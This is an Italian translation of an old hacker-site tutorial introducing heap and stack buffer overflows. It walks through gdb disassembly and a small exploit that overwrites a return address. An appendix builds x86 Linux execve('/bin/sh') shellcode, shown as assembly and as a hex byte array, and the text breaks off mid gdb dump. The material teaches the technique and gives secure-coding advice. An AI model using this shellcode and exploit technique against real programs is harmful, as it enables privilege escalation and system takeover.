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Introduzione al Buffer Overflow

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Published in 
guide hacker
 · 5 years ago

Introduzione al Buffer Overflow di Ghost_Rider
Traduzione italiana di
N'eM Sy


Scritto per BSRF
Homepage: http://blacksun.box.sk

Intro


Ciao, eccomi di nuovo, questa volta vi metterÚ a conoscenza di cos'e' in effetti il buffer overflow e con potete scoprire se qualche programma e' vulnerabile agli exploit di buffer overflow. Questo tutorial a codice sorgente C, quindi se non conoscete il C potrete avere qualche problema con questo tutorial, inoltre dovete avere qualche nozione di ASM (ndt Assembler) e su come usare gdb.
Ho provato a farlo il piu' semplice possibile, ma questo tutorial lo stesso non e' uno di quelli dove non impari niente di niente e quando l'hai finito sai tutto. Questo tutorial ha bisogno di qualche sforzo per essere compreso, hey mi e' costato molto lavoro scriverlo!
Una piccola note, come chiunque stia leggendo queste righe a me piace imparare, cosi alcune settimane fa' mi sono detto "Hey che cacchio, perche' non incomincio a leggere qualcosa riguardo i buffer overflow, io so come il tutto funziona ma solo superficialmente", cosi ho semplicemente cominciato ad imparare ed ora cerco di passare le conoscenze che ho acquisito, a chiunque fosse interessato. Quindi questo non sara' uno di quei testi dove imparerete tutto, sara' piu' come una prova generale, come dice il titolo un' Introduzione, (alla fine vi daro' qualche testo interessante). Se avete quanche domanda su questo tutorial postatela nel nostro message board, se trovate qualche "bug" in questo tutorial scrivetemi ed io lo correggero'.
Buon divertimento.

Exploit?


Bene, forse tutti sanno cosa e' un exploit. Ma dovete ancora vedere che quelli che entrano nel mondo della sicurezza (informatica) per la prima volta probabilmente non hanno la minima idea di cosa sia, per questo ho scritto questa piccola sezione.
Per quelli che non sanno, un exploit e' un programma, di solito scritto in C, che sfrutta alcuni problemi di altri programmi. L'exploit vi permettera' di eseguire codice arbitrario che vi permettera' di fare qualcosa che non dovreste poter fare in condizioni normali del sistema.
Oggi, la maggior parte degli exploit sono cio' che chiamiamo Buffer Overflow Exploits. What's that you ask. Aspettate un po', perche' ci arriveremo. Dopo tutto, questo e' l'oggetto di questo tutorial.
Un'altra cosa che dovreste sapere e' che chiunque sa come usarli(come credete facciano a deturpare la maggior parte dei siti web?), gli "script kiddies" [1*] non fanno altro che andare in siti come security focus, packetstorm o fyodor's exploit world, scaricarli e farli partire, per poi essere presi. Ma perche' non tutti scrivono exploit? Il problema e' che molti non sanno come sfuttare alcune "faglie" nel codice sorgente, o anche se possono non sanno scrivere un exploit. Allora, ora che avete un idea di cosa sia un exploit, proseguiamo nella sezione Buffer Overflow.


Dopo tutto, cos'e' il Buffer Overflow?


Come ho detto prima, la maggior parte degli exploit sono Exploit di Buffer Overflow.
Starete ora pensando "Bah.. sto tipo sta sparando cose a destra e a manca, ma ancora non ha detto cosa e' un buffer overflow". Ora ne parliamo.
Un problema da buffer overflow e' situato nella memoria dove il programma conserva i suoi dati. Perche', direte voi. Perche' cio' che un buffer overflow fa' e' sovrascrivere specifiche aree delle memoria con cio' che volete, e cio' fara' fare al programma cio' che volete.
Eheh, ora qualcuno di voi stara' pensando "Uao, So come funziona un buffer overflow", ma ancora non sapete come sfruttarlo.

Eccovi un programma, cerchiamo di trovare e aggiustare il buffer overflow

 
------ Inizio del codice --------

main(int argc, char **argv) {

char *somevar;
char *important;

somevar = (char *)malloc(sizeof(char)*4);
important = (char *)malloc(sizeof(char)*14);

strcpy(important, "command"); /*Questa e' la variabile
'importante'*/

stcrpy(somevar, argv[1]);


..... Code here ....

}

.... Other functions here ....

------- Fine ------


La variabile important conserva qualche comando di sistema, per esempio "chmod o-r file", e dal momento che 'file' appartiene a root e il programma viene eseguito da root, questo significa che se potete inviargli dei comandi potrete eseguire qualsiasi comando di sistema. Cosi iniziate a pensare. Come posso mettere cio' che voglio nella variabile 'important' . Bisogna mandare la memoria in overflow. Ora vediamo gli indirizzi di memoria delle variabile. Per fare cio' dovrete riscrivere il codice. Controllate il codice seguente.

 
--------- Inizio del codice ------------

main (int argc, char **argv) {


char *somevar;
char *important;

somevar=(char *)malloc(sizeof(char)*4);
important=(char *)malloc(sizeof(char)*14);

printf("%p\n%p", somevar, important);
exit(0);

segue altro codice....
......
....

}

--------- Fine --------


Non abbiamo fatto altro che aggiungere 2 righe al codice e lasciare intatto il resto.
Vediamo cosa fanno queste due righe.
La riga printf("%p\n%p", somevar, important); stampa l'indirizzo di memoria di 'somevar' e 'important'. exit(0); lascera' che il resto del programma continui, in effetti il nostro scopo era quello di sapere dove le variabili fossero conservate in memoria.
Una volta eseguito il programma otterrete qualcosa del genere, anche se molto probabilmente gli indirizzi saranno differenti:

 
0x8049700 <----- Questo e' l'indirizzo di 'somevar'
0x8049710 <----- Questo e' l'indirizzo di 'important'


Come potete vedere, la variabile 'important' e' situata accanto 'somevar', questo ci permettera' di usare le nostre capacita' con il buffer overflow, visto che 'somevar' viene prese da argv[1]. Ora che sappiamo che una variabile segue l'altra, controlliamo ogni indirizzo di memoria in modo da avere un'idea piu' precisa della conservazione in memoria dei dati. Per fare cio' dovremo riscrivere ancora una volta il codice.

 
-------- Inizio del codice ---------

main(int argc, char **argv) {

char *somevar;
char *important;
char *temp; /* abbiamo bisogno di quest'altra nuova variabile */


somevar=(char *)malloc(sizeof(char)*4);
important=(char *)malloc(sizeof(char)*14);

strcpy(important, "command"); /*Questa e' la variabile
'importante'*/

strcpy(somevar, argv[1]);



printf("%p\n%p\n", somevar, important);
printf("Starting To Print memory address:\n");

temp = somevar; /* Questo fara puntare temp all'inizio dell'aria di memoria
di 'somevar' */


while(temp < important + 14) {

/* Questo loop sara' interrotto quando avremo raggiunto la fine dell'aria di
memoria riservata alle variabili */


printf("%p: %c (0x%x)\n", temp, *temp, *(unsigned int*)temp);
temp++;

}

exit(0);

rest of code here
}
------ Fine ------


Mettiamo per esempio ch e argv[1] in casi normali debba essere send. Digitate al prompt:

 
$ nome_programma send


Otterrete qualcosa del genere:

 
0x8049700
0x8049710
Starting To Print memory address:
0x8049700: s (0x616c62)
0x8049701: e (0x616c)
0x8049702: n (0x61) <---- Ognuna di queste righe rappresenta un indirizzo di memoria
0x8049703: d (0x0)
0x8049704: (0x0)
0x8049705: (0x0)
0x8049706: (0x0)
0x8049707: (0x0)
0x8049708: (0x0)
0x8049709: (0x19000000)
0x804970a: (0x190000)
0x804970b: (0x1900)
0x804970c: (0x19)
0x804970d: (0x63000000)
0x804970e: (0x6f630000)
0x804970f: (0x6d6f6300)
0x8049710: c (0x6d6d6f63)
0x8049711: o (0x616d6d6f)
0x8049712: m (0x6e616d6d)
0x8049713: m (0x646e616d)
0x8049714: a (0x646e61)
0x8049715: n (0x646e)
0x8049716: d (0x64)
0x8049717: (0x0)
0x8049718: (0x0)
0x8049719: (0x0)
0x804971a: (0x0)
0x804971b: (0x0)
0x804971c: (0x0)
0x804971d: (0x0)
$


Bello, vero? Vedete che esistono 12 indirizzi di memoria vuoti tra 'somevar' e 'important' ? Ora mettiamo il caso che eseguiate il programma con un linea di comando tipo questa:

 
$ nome_programma send------------newcommand


Avrete qualcosa tipo:

 
0x8049700
0x8049710
Starting To Print memory address:
0x8049700: s (0x646e6573)
0x8049701: e (0x2d646e65)
0x8049702: n (0x2d2d646e)
0x8049703: d (0x2d2d2d64)
0x8049704: - (0x2d2d2d2d)
0x8049705: - (0x2d2d2d2d)
0x8049706: - (0x2d2d2d2d)
0x8049707: - (0x2d2d2d2d)
0x8049708: - (0x2d2d2d2d)
0x8049709: - (0x2d2d2d2d)
0x804970a: - (0x2d2d2d2d)
0x804970b: - (0x2d2d2d2d)
0x804970c: - (0x2d2d2d2d)
0x804970d: - (0x6e2d2d2d)
0x804970e: - (0x656e2d2d)
0x804970f: - (0x77656e2d)
0x8049710: n (0x6377656e) <--- memory address where important variable starts
0x8049711: e (0x6f637765)
0x8049712: w (0x6d6f6377)
0x8049713: c (0x6d6d6f63)
0x8049714: o (0x616d6d6f)
0x8049715: m (0x6e616d6d)
0x8049716: m (0x646e616d)
0x8049717: a (0x646e61)
0x8049718: n (0x646e)
0x8049719: d (0x64)
0x804971a: (0x0)
0x804971b: (0x0)
0x804971c: (0x0)
0x804971d: (0x0)


newcommand ha sovrascritto command. Ora fa cio' che voi volete, invece di cio' che era prestabilito.

NOTA: Ricordate sempre che lo spazio tra 'somevar' e 'important' puo' contenere altre variabili invece di essere vuoto, percio' controllate il loro valore e fate in modo che arrivino allo stesso indirizzo, o il programma molto probabilmente si blocchera' prima di arrivare alla variabile che avete modificato.


Ora riflettiamo un po'. Perche' cio' accade? Come potete vedere nel sorgente 'somevar' e' dichirato prima di important, e cio' fara' si', la maggior parte delle volte, che 'somevar' stia prima in memoria. Ora controlliamo come ogni variabile viene assegnata. 'somevar' prende il suo valore da argv[1], e 'important' dalla funzione strcpy(), ma il vero problema e' che il valore di 'important' viene assegnato per primo quindi quando assegnate un valore a 'somevar' che e' posto prima di 'important', quest'ultimo viene sovrascritto. Il programma puo' essere corretto da questo buffer overflow invertendo queste due righe:

 
strcpy(somevar, argv[1]);
strcpy(important, "command");


Se il programma fosse stato scritto cosi, anche se voi avreste scritto nella linea di comando un argomento che avrebbe sovrascritto l'area di memoria di 'important', questa sarebbe stata ri-sovrascritta dal vero comando, visto che dopo l'assegnazione di un valore a 'somevar', il programma assegna il valore command a 'important'.

Questo tipo e' un buffer overflow di memoria (heap). Come avrete sicuramente notato in teoria sono veramente semplici ma, nel mondo reale, non e' cosi semplice trovarli, dopo tutto l'esempio che vi ho data non era un programma stupido? E' davvero difficile trovare le variabili 'important', ed anche per fare l'overflow di questa variabile dovrete poter scrivere in una variabile posto in un'area di memoria inferiore, ma la maggior parte delle volte queste condizioni non capitano contemporaneamente. Per questo vi introdurro' ai Buffer overflow dello stack (o delle pile).


Una piccola annotazione:


Nell'ultimo paragrafo ho parlato di memoria(heap) e stack. Probabilmente vi starete chiedendo cosi siano. Per la vostra fame di conoscenza, eccovi una breve e semplice definizione di ognuno di essi:

memoria (heap) - E' lo spazio che riservate alle variabili (accedete a quest'area della memoria con la funzione malloc() ).
stack - E' il posto dove vengono spinti o dove vengono ritornati valori da una funzione.

Quando provate a fare un overflow su uno stack dovrete provare a cambiare l'indirizzo di ritorno, facendo saltare il codice fino al posto dove dovete inserire i comandi che volete siano eseguiti.
Incominciamo a parlare dello stack. Qui incomincia la parte che mi ha dato, e ancora mi da', molti problemi. Dovete conoscere un po' di ASM, come maneggiare gdb (credetimi diverra' uno dei vostri migliori amici), e non dovrete arrendervi.

Vediamo ora come "Mandare in frantumi lo stack", un tipo di "attacco" che cambia l'indirizzo di ritorno (RET). Facendo cio' potrete far ritornare la funzione ad un indirizzo dove sono gia' allocati dei comandi che volete siano eseguiti.
Come in un overflow della memoria, vediamo un po' di codice sorgente.

 
------ Inizio del codice ------

/* Stack Overflow example */

exploit(char *this) {
char string[20];
strcpy(string,this);
printf("%s\n", string);
}

main(int argc, char *argv[]) {
exploit(argv[1]);
}

------ Fine -----


Ora proveremo a chiamare duo volte la funzione exploit(). Come possiamo farlo? Per prima cosa abbiamo bisogno di trovare degli indirizzi. Questa volta useremo gdb. Per prima cosa compiliamo.

 
$ gcc stack.c -o stack
$ gdb stack


GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB e' un programma libero, coperto dalla GNU General Public License, e siete
liberi di cambiarlo e/o ridistribuirne copie, purche' rispettiate alcune condizioni.
Scrivete "show copying" per vedere le condizioni.
Non ci sono garanzie per GDB. Digitate "show warranty" per i dettagli.
Questo GDB e' stato configurato come "i586-suse-linux-gnu"...
(gdb)

Questo e' il vostro prompt, ora disassembleremo main. Per fare cio' digitare disassemble (oppure disas) main , difficile vero'?

 
(gdb) disas main
Dump of assembler code for function main:
0x8048440 <main>: push %ebp
0x8048441 <main+1>: mov %esp,%ebp
0x8048443 <main+3>: mov 0xc(%ebp),%eax
0x8048446 <main+6>: add $0x4,%eax
0x8048449 <main+9>: mov (%eax),%edx
0x804844b <main+11>: push %edx
0x804844c <main+12>: call 0x8048410 <exploit>
0x8048451 <main+17>: add $0x4,%esp
0x8048454 <main+20>: mov %ebp,%esp
0x8048456 <main+22>: pop %ebp
0x8048457 <main+23>: ret
(Seguono alcune NOPS. NOP sta' per No Operation... cio' non viene fatto niente).
End of assembler dump.

Riflettiamo un po'


Come possiamo vedere exploit() viene chiamato all'indirizzo 0x804845c e questa ha 0x8048410 come suo indirizzo.

 
Di nuovo gdb
------------

(gdb) disas exploit

End of assembler dump.
(gdb)
0x8048410 <exploit>: push %ebp
0x8048411 <exploit+1>: mov %esp,%ebp
0x8048413 <exploit+3>: sub $0x14,%esp
0x8048416 <exploit+6>: mov 0x8(%ebp),%eax
0x8048419 <exploit+9>: push %eax
0x804841a <exploit+10>: lea 0xffffffec(%ebp),%eax
0x804841d <exploit+13>: push %eax
0x804841e <exploit+14>: call 0x8048340 <strcpy>
0x8048423 <exploit+19>: add $0x8,%esp
0x8048426 <exploit+22>: lea 0xffffffec(%ebp),%eax
0x8048429 <exploit+25>: push %eax
0x804842a <exploit+26>: push $0x80484bc
0x804842f <exploit+31>: call 0x8048330 <printf>
0x8048434 <exploit+36>: add $0x8,%esp
0x8048437 <exploit+39>: mov %ebp,%esp
0x8048439 <exploit+41>: pop %ebp
0x804843a <exploit+42>: ret
(gdb) x/3bc 0x80484bc
0x80484bc <_IO_stdin_used+4>: 37 '%' 115 's' 10 '\n'
(gdb)
(gdb) quit
$
back to the prompt

Riflettiamo ancora un po'


Vi starete chiedendo cosa sia il comando x/3bc. Beh, questo comando ci permette di esaminare la memoria.

 
x/3bc
^^^
|||--- chars
|| --- Binary
|----- define 3 as range


(Per maggiori informazioni digitate al prompt help x/)

Ho fatto cio' perche' mi chiedevo cosa fosse spinto nello stack all'indirizzo 0x80484cc , e come potete vedere e' la stringa che vogliamo stampare.

Il nostro fine


Ora dovremo cercare di far in modo che exploit ritorni il controllo di nuovo ad exploit invece che al main. Come facciamo, e come facciamo a sapere se cio' e' possibile? Il primo segnale che abbiamo e' che otteniamo segmentation fault se passiamo una stringa enorme, beh non enorme come aaaaaaaaaaaaaaaaaa, provate con 20 caratteri.
Per fare cio' dobbiamo cambiare il RET (return address) a cui state pensando nella riga che avete visto in gdb:

 
0x804844c <main+3>: call 0x8048410 <exploit>


Ed ora una domanda. In questa riga cosi imporante abbiamo due indirizzi, quale dei due dobbiamo utilizzare? Detto fatto. Dovrete usare 0x804844c perche' e quello che compie la chiamata a exploit, se inveci usiamo 0x8048410 non avremmo ottenuto niente visto che avremmo puntato a

 
0x8048410 <exploit>: push %ebp


------ Inizio del codice -----

/* Exploit for stack program */

#include <stdio.h>

main() {

char buf[28];
int i;

for(i=0; i<24; i+=4) *(long *)&buf[i] = 0x61616161;
*(long *)&buf[24] = 0x0804844c;
*(long *)&buf[28] = 0x0;
execv("./stack2", buf);
}

------- Fine --------


Facendo cio' riscriviamo l'indirizzo di ritorno (RET) di 0x0804844c, facendo si che la funzione richiami dinuovo exploit(). Questo inizier‡ un loop senza fine.
Perche' potevamo exploitare questo programma? Perche' non c'era un controllo sulla lunghezza della stringa che stavamo inserendo. Un consiglio nel caso dobbiate codificare qualcosa che deve essere sicuro, usate sempre funzioni che fanno un controllo sulla lunghezza, come fgets(), strncpy(), al posto di gets(), strcpy(), e cosi via.

Consigli per gdb


Volete vedere come un exploit 'affligge' il programma vulnerabile? Entrate in gdb e scrivete:

 
(gdb) exec exploit
(gdb) symbol-file vunerable_program


Vedrete cosa combina l'exploit, e poi corregete i problemi, se ne doveste avere.

Ultimi suggerimenti


Finalmente abbiamo raggiunto la fine. Spero che cio' si stato di vostra utilita'...
Ho in mente di aggiornare questo tutorial, visto che non ha tutto cio' che avevo intenzione di dire. Ma preferisco controllare tutto cio' che dico, invece di dire qualcosa di cui non ero sicuro al 100%.
Se trovate qualcosa in questo tutorial che non vi convice, sentitevi liberi di scrivermi.


Suggerimenti per la lettura


- Omega Project by Lamagra
- Advanced buffer overflow exploit by Taeho Oh
- Smashing The Stack For Fun And Profit by Aleph One

Questi tre testi vi daranno un'impressionante quantita' di informazioni.
Mi hanno aiutato molto.... Li trovate su packetstorm.securify.com

Appendix A: Shell Code


Questa appendice e' stata scritta per un amico, che ringrazio moltissimo per i suoi aiuti. Il testo originale e' qui sotto.

Regards
mailto:predator@beotel.yu
ICQ#: 46043882

Ho scritto tutto questo come parte del tutorial di Ghost Rider sui Buffer Overflow che potete scaricare da http://blacksun.box.sk
Author: predator
mailto: preedator@hotmail.com
date : 26/07/2000

Shell code


Ora parleremo dello shell code. Lo shell code e' un array dei caratteri che consiste in istruzioni macchina che vengono usate per creare shell. Visto che il programma che cercheremo di exploitare non ha un codice che esegue una shell, dovremmo scriverlo noi. Percio', bisogna conoscere un po' di assembly, C e di architettura x86. E' preferibile avere una conoscenza, seppur minima di Linux. Comunque solo il C e l'assembly sono veramente necessari. Incominciamo.

1. Shell code


Di solito il codice per la shell e' scritto nei programmi come ->
1) char c0de[]={0x90,0x90...};
2) char c0de[]="\x90\x90...";
Entrambi i modi sono corretti, percio' potete usare quello che preferite.:)).


2.Iniziamo con lo shell code

 
------- shell.cpp ----------
void main(){
char *sh[2];
sh[0]="/bin/sh";
sh[1]=NULL;
execve(sh[0],sh,NULL);
}
------- Fine ----------


Questo programma e' utilizzato per avviare una shell. Perche' utilizziamo execve se ci sono un casino di funzioni exec (funzioni che eseguono programmi). La risposta e' semplice, execve e' l'unica funzione che e' chiamata con l'interrupt $0x80, che per noi e' molto importante.

Compiliamo tutto cio' con l'opzione -static e eseguiamolo con gdb.

 
>root@scorpion#cc shell.cpp -o shell -static
>root@scorpion#gdb shell
>GNU gdb 4.18
>Copyright 1998 Free Software Foundation, Inc.
>GDB is free software, covered by the GNU General Public License, and you are
>welcome to change it and/or distribute copies of it under certain conditions.
>Type "show copying" to see the conditions.
>There is absolutely no warranty for GDB. Type "show warranty" for details.
>This GDB was configured as "i686-pc-linux-gnu"...
>(gdb) disass main
>Dump of assembler code for function main:
>0x80481c0 <main>: push %ebp
>0x80481c1 <main+1>: mov %esp,%ebp
>0x80481c3 <main+3>: sub $0x8,%esp
>0x80481c6 <main+6>: movl $0x8073768,0xfffffff8(%ebp)
>0x80481cd <main+13>: movl $0x0,0xfffffffc(%ebp)
>0x80481d4 <main+20>: push $0x0
>0x80481d6 <main+22>: lea 0xfffffff8(%ebp),%eax
>0x80481d9 <main+25>: push %eax
>0x80481da <main+26>: mov 0xfffffff8(%ebp),%eax
>0x80481dd <main+29>: push %eax
>0x80481de <main+30>: call 0x804ea70 <__execve>
>0x80481e3 <main+35>: add $0xc,%esp
>0x80481e6 <main+38>: xor %eax,%eax
>0x80481e8 <main+40>: jmp 0x80481f0 <main+48>
>0x80481ea <main+42>: lea 0x0(%esi),%esi
>0x80481f0 <main+48>: mov %ebp,%esp
>0x80481f2 <main+50>: pop %ebp
>0x80481f3 <main+51>: ret
>0x80481f4 <main+52>: nop
>0x80481f5 <main+53>: nop
>0x80481f6 <main+54>: nop
>0x80481f7 <main+55>: nop
>0x80481f8 <main+56>: nop
>0x80481f9 <main+57>: nop
>0x80481fa <main+58>: nop
>0x80481fb <main+59>: nop
>0x80481fc <main+60>: nop
>0x80481fd <main+61>: nop
>0x80481fe <main+62>: nop
>0x80481ff <main+63>: nop
>End of assembler dump.
>(gdb) disass execve
>Dump of assembler code for function __execve:
>0x804ea70 <__execve>: push %ebx
>0x804ea71 <__execve+1>: mov 0x10(%esp,1),%edx
>0x804ea75 <__execve+5>: mov 0xc(%esp,1),%ecx
>0x804ea79 <__execve+9>: mov 0x8(%esp,1),%ebx
>0x804ea7d <__execve+13>: mov $0xb,%eax
>0x804ea82 <__execve+18>: int $0x80
>0x804ea84 <__execve+20>: pop %ebx
>0x804ea85 <__execve+21>: cmp $0xfffff001,%eax
>0x804ea8a <__execve+26>: jae 0x804ee40 <__syscall_error>
>0x804ea90 <__execve+32>: ret
>End of assembler dump.
>(gdb) quit

Ora guardiamo un po' il main:) Tutte le funzioni partono da li'.

main -> push %ebp
main+1 ->movl %esp,%ebp
Questa e' la procedura standard in tutte le funzioni. Per prima cosa salviamo %ebp e poi muoviamo %esp su %ebp facendo di %ebp il nuovo puntatore al frame.

main+3 -> sub $0x8,%esp
sub %esp con 0x8 perche' due puntatori a caratteri sono lunghi 8 byte, 2*4=8:))

main+6 -> movl 0x8073768,0xfffffff8(%ebp)
uguale a sh[0]="/bin/sh";

main+13 -> movl $0x0,0xfffffffc(%ebp)
same as sh[1]=NULL;

main+20 -> pushl $0x0
La chiamata a excve parte quim stiamo spingendo gli argomenti della funzione in ordine inverso sullo stack(l'architettura x86 funziona sotto-sopra).

main+22 -> lea 0xfffffff8(%ebp),%eax
lea sta per "load effective address", carichiamo l'indirizzo di sh nell'array di puntatori


main+25 -> pushl %eax
spingiamo l'indirizzo sullo stack (secondo argomento (sh) ).

main+26 -> movl 0xfffffff8(%ebp),%eax ...
in 0xfffffff8(%ebp) abbiamo l'indirizzo di /bin/sh. guardiamo main+6 e poi spingiamolo sullo stack come sh[0]

Ora diamo uno sguardo nella funzione execve

__execve+1 mov 0x10(%esp,1),%edx
Dobbiamo avere l'indirizzo del terzo argomento in %edx(il terzo argomento era essere NULL)

__execve+5 mov 0xc(%esp,1),%ecx
Dobbiamo avere l'indirizzo di sh in %ecx(sh era il secondo argomento)

__execve+9 mov 0x8(%esp,1),%ebx
Dobbiamo avere l'indirizzo di "/bin/sh" in %ebx(sh[0] era il primo argomento)


__execve+13 mov $0xb,%eax
0xb e' la chiamata di sistema per execve


__execve+18 int $0x80
Passiamo al kernel mode

Cose da fare->
Dobbiamo avere l'indirizzo di NULL in %edx
Dobbiamo avere l'indirizzo di sh in %ecx
Dobbiamo avere l'indirizzo di "/bin/sh" in %ebx
Dobbiamo avere 0xb in %eax
Dobbiamo chiamare l'interrupt $0x80

Abbiamo bisogno dell'esatto indirizzo in memoria della nostra stringa "/bin/sh".
Possiamo semplicemente mettere "/bin/sh" dopo la chiamata che spingera' EIP sullo stack, e l'EIP, una volta spinto, dovrebbe essere l'indirizzo della nostra stringa... Guardate pic 0.1

 
[JJaaaaaaaaaaaaaaaaaaaaaaaaCCssssss]
|^_______________________^|
|________________________|


All'inizio del codice metteremo l'istruzione JMP che saltera' alla chiamata, che salvera' EIP e poi andra' all'offset di a.EIP sara' il nostro indirizzo di "/bin/sh"

a-stands for code
J-stands for JMP
C-stands for CALL
s-stands for "/bin/sh"

Bene, ora scriviamo questo in asm->

 
------------ shell1.cpp ----------------
void main(){
__asm__("jmp 0x1e \n" //jmp alla chiamata
"popl %esi \n" //salva EIP in esi,ora abbiamo l'indirizzo di /bin/sh
"movl %esi,0x8(%esi) \n" //indirizzo di sh dietro /bin/sh
"movl $0x0,0xc(%esi) \n" //NULL come terzo argomento va dopo l'indirizzo di sh
"movb $0x0,0x7(%esi) \n" //termina /bin/sh con '\0'
"movl %esi,%ebx \n" //indirizzo di sh[0] in %ebx
"leal %0x8(%esi),%ecx \n" //indirizzo di sh in %ecx(secondo argomento)
"leal %0xc(%esi),%edx \n" //indirizzo di NULL in %edx(terzo argomento)
"movl $0xb,%eax \n" //chiamata di sistema a execve in %eax
" int $0x80 \n" //kernel mode
" call -0x23 \n" //chiama popl su %esi
" .string \"/bin/sh\" \n"); //la nostra stringa
}
------------ Fine ----------------


Compiliamo il tutto

 
root@scorpion#cc shel1.cpp -o shell1
root@scorpion#gdb shell1
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb) x/bx main+3 <-------jmp start here
0x8048733 <main+3>: 0xeb
(gdb)
0x8048734 <main+4>: 0x1e
(gdb)
0x8048735 <main+5>: 0x5e
(gdb)
0x8048736 <main+6>: 0x89
(gdb)
0x8048737 <main+7>: 0x76
(gdb)
0x8048738 <main+8>: 0x08
(gdb)
0x8048739 <main+9>: 0xc6
(gdb)
0x804873a <main+10>: 0x46
(gdb)
0x804873b <main+11>: 0x07
(gdb)
0x804873c <main+12>: 0x00
(gdb)
0x804873d <main+13>: 0xc7
(gdb)
0x804873e <main+14>: 0x46
(gdb)
0x804873f <main+15>: 0x0c
(gdb)
0x8048740 <main+16>: 0x00
(gdb)
0x8048741 <main+17>: 0x00
(gdb)
0x8048742 <main+18>: 0x00
(gdb)
0x8048743 <main+19>: 0x00
(gdb)
0x8048744 <main+20>: 0x89
(gdb)
0x8048745 <main+21>: 0xf3
(gdb)
0x8048746 <main+22>: 0x8d
(gdb)
0x8048747 <main+23>: 0x4e
(gdb)
0x8048748 <main+24>: 0x08
(gdb)
0x8048749 <main+25>: 0x8d
(gdb)
0x804874a <main+26>: 0x56
(gdb)
0x804874b <main+27>: 0x0c
(gdb)
0x804874c <main+28>: 0xb8
(gdb)
0x804874d <main+29>: 0x0b
(gdb)
0x804874e <main+30>: 0x00
(gdb)
0x804874f <main+31>: 0x00
(gdb)
0x8048750 <main+32>: 0x00
(gdb)
0x8048751 <main+33>: 0xcd
(gdb)
0x8048752 <main+34>: 0x80
(gdb)
0x8048753 <main+35>: 0xe8
(gdb)
0x8048754 <main+36>: 0xdd
(gdb)
0x8048755 <main+37>: 0xff
(gdb)
0x8048756 <main+38>: 0xff
(gdb)
0x8048757 <main+39>: 0xff
(gdb)
0x8048758 <main+40>: 0x2f
(gdb)
0x8048759 <main+41>: 0x62
(gdb)
0x804875a <main+42>: 0x69
(gdb)
0x804875b <main+43>: 0x6e
(gdb)
0x804875c <main+44>: 0x2f
(gdb)
0x804875d <main+45>: 0x73
(gdb)
0x804875e <main+46>: 0x68 <--------- c0de ends here
(gdb)quit


Ora scriviamo il nostro shell code->

 
--------------- shell2.cpp ------------------
char c0de[]=
"\xeb\x1e\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00"
"\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb8\x0b\x00\x00\x00"
"\xcd\x80\xe8\xdd\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

int main(){
char buf[5];
long *ret=(long *)(buf+12);
*ret=(long)c0de;
}
--------------- Fine ------------------
root@scorpion#cc shell2.cpp -o shell2
root@scorpion#./shell2
sh-2.03


Questo funziona...
Scrivere "\x2f\x62\x69\x6e\x2f\x73\x68" e' la stessa cosa di scrivere "/bin/sh"
Date uno sguardo al questo sorgente... C'e' \x00 o '\0' in alcuni posti.
Come sappiamo bene, '\0' indica la fine di una stringa.
strcpy ed altre funzioni sulle stringhe, copieranno la stringa data fino al '\0' . Cosi il nostro codice non verrebbe copiato del tutto.
Liberiamoci di questi '\0'

 
Cambia questo in questo
-----------------------------------------------------
xorl %eax,%eax (bisogna aggiungere questo)
movb $0x0,0x7(%esi) movb %al,0x7(%esi)
movl $0x0,0xc(%esi) movl %eax,0xc(%esi)
movl $0xb,$eax movb %0xb,%al
-----------------------------------------------------


riscriviamo il codice con questi cambiamenti ed otterremo cio'

 
--------------- shell3.cpp ---------------
void main(){
__asm__("jmp 0x18 \n"
"popl %esi \n"
"movl %esi,0x8(%esi) \n"
"xorl %eax,%eax \n"
"movb %al,0x7(%esi) \n"
"movl %eax,0xc(%esi) \n"
"movl %esi,%ebx \n"
"leal 0x8(%esi),%ecx \n"
"leal 0xc(%esi),%edx \n"
"movb $0xb,%al \n"
"int $0x80 \n"
"call -0x1d \n"
".string \"/bin/sh\" \n");
}
--------------- Fine ---------------


compiliamo

 
root@scorpion#cc shell3.cpp -o shell3
root@scorpion#gdb shell3
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB. Type "show warranty" for details.
This GDB was configured as "i686-pc-linux-gnu"...
(gdb) x/bx main+3 <---------jmp parte qui
0x80483c3 <main+3>: 0xeb
(gdb)
0x80483c4 <main+4>: 0x18
(gdb)
0x80483c5 <main+5>: 0x5e
(gdb)
0x80483c6 <main+6>: 0x89
(gdb)
0x80483c7 <main+7>: 0x76
(gdb)
0x80483c8 <main+8>: 0x08
(gdb)
0x80483c9 <main+9>: 0x31
(gdb)
0x80483ca <main+10>: 0xc0
(gdb)
0x80483cb <main+11>: 0x88
(gdb)
0x80483cc <main+12>: 0x46
(gdb)
0x80483cd <main+13>: 0x07
(gdb)
0x80483ce <main+14>: 0x89
(gdb)
0x80483cf <main+15>: 0x46
(gdb)
0x80483d0 <main+16>: 0x0c
(gdb)
0x80483d1 <main+17>: 0x89
(gdb)
0x80483d2 <main+18>: 0xf3
(gdb)
0x80483d3 <main+19>: 0x8d
(gdb)
0x80483d4 <main+20>: 0x4e
(gdb)
0x80483d5 <main+21>: 0x08
(gdb)
0x80483d6 <main+22>: 0x8d
(gdb)
0x80483d7 <main+23>: 0x56
(gdb)
0x80483d8 <main+24>: 0x0c
(gdb)
0x80483d9 <main+25>: 0xb0
(gdb)
0x80483da <main+26>: 0x0b
(gdb)
0x80483db <main+27>: 0xcd
(gdb)
0x80483dc <main+28>: 0x80
(gdb)
0x80483dd <main+29>: 0xe8
(gdb)
0x80483de <main+30>: 0xe3
(gdb)
0x80483df <main+31>: 0xff
(gdb)
0x80483e0 <main+32>: 0xff
(gdb)
0x80483e1 <main+33>: 0xff
(gdb)
0x80483e2 <main+34>: 0x2f
(gdb)
0x80483e3 <main+35>: 0x62
(gdb)
0x80483e4 <main+36>: 0x69
(gdb)
0x80483e5 <main+37>: 0x6e
(gdb)
0x80483e6 <main+38>: 0x2f
(gdb)
0x80483e7 <main+39>: 0x73
(gdb)
